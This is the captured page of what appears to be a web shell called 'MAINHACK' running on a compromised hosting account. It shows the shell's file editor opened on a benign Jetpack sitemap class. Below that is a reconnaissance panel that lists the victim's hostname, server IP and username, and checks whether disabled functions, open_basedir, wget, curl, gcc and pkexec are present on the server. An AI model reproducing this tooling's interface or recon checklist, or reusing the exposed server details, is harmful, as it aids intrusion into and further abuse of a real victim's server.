[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sitemap-state.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName /** * Abstract sitemap generation state class. * * @package automattic/jetpack * @since 4.8.0 * @author Automattic */ /* Include standard constants and librarian. */ require_once __DIR__ . '/sitemap-constants.php'; require_once __DIR__ . '/sitemap-librarian.php'; if ( defined( 'WP_DEBUG' ) && ( true === WP_DEBUG ) ) { require_once __DIR__ . '/sitemap-logger.php'; } /** * This class provides an interface for storing and retrieving * the state of a sitemap generation phase. Whenever the builder * wants to build a new sitemap page, it uses this class to see * what the current state of the sitemap is. The lock is stored * as a transient with max lifetime of 15 minutes; this way if our * builder times out before unlocking the state, the lock will expire * before the builder tries again. * * @since 4.8.0 */ class Jetpack_Sitemap_State { /** * Initial state for the sitemap generator. * * @access public * @since 4.8.0 * * @param string $type The initial sitemap type. * * @return array $args { * @type string sitemap-type The type of sitemap to be generated. * @type int last-added The largest index to be added to a generated sitemap page. * @type int number The index of the last sitemap to be generated. * @type string last-modified The latest timestamp seen. * @type array max The latest index of each sitemap type seen. * } */ private static function initial( $type = JP_PAGE_SITEMAP_TYPE ) { return array( 'sitemap-type' => $type, 'last-added' => 0, 'number' => 0, 'last-modified' => '1970-01-01 00:00:00', 'max' => array(), ); } /** * Reset the sitemap state. * * @param string $type The initial sitemap type. * * @access public * @since 4.8.0 */ public static function reset( $type ) { delete_transient( 'jetpack-sitemap-state-lock' ); update_option( 'jetpack-sitemap-state', self::initial( $type ) ); } /** * Store a sitemap state, and unlock it. * * @access public * @since 4.8.0 * * @param array $state Array of the Sitemap state details. * @type string sitemap-type The type of sitemap to be generated. * @type int last-added The largest index to be added to a generated sitemap page. * @type int number The index of the last sitemap to be generated. * @type string last-modified The latest timestamp seen. */ public static function check_in( $state ) { // Get the old max value. $sitemap_old = get_option( 'jetpack-sitemap-state', self::initial() ); $state['max'] = $sitemap_old['max']; // Update the max value of the current type. $state['max'][ $state['sitemap-type'] ]['number'] = $state['number']; $state['max'][ $state['sitemap-type'] ]['lastmod'] = $state['last-modified']; update_option( 'jetpack-sitemap-state', $state ); } /** * Unlock the sitemap state. * * @access public * @since 4.8.0 */ public static function unlock() { delete_transient( 'jetpack-sitemap-state-lock' ); } /** * Read the stored sitemap state. Returns false if the state is locked. * * @access public * @since 4.8.0 * * @return bool|array $args { * @type string sitemap-type The type of sitemap to be generated. * @type int last-added The largest index to be added to a generated sitemap page. * @type int number The index of the last sitemap to be generated. * @type string last-modified The latest timestamp seen. * @type array max The latest index of each sitemap type seen. * } */ public static function check_out() { // See if the state is locked. if ( true === get_transient( 'jetpack-sitemap-state-lock' ) ) { // If it is, return false. return false; } else { // Otherwise, lock the state for 15 minutes and then return it. set_transient( 'jetpack-sitemap-state-lock', true, JP_SITEMAP_LOCK_INTERVAL ); return get_option( 'jetpack-sitemap-state', self::initial() ); } } /** * Delete the stored state and lock. * * @access public * @since 4.8.0 */ public static function delete() { delete_transient( 'jetpack-sitemap-state-lock' ); delete_option( 'jetpack-sitemap-state' ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.34 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252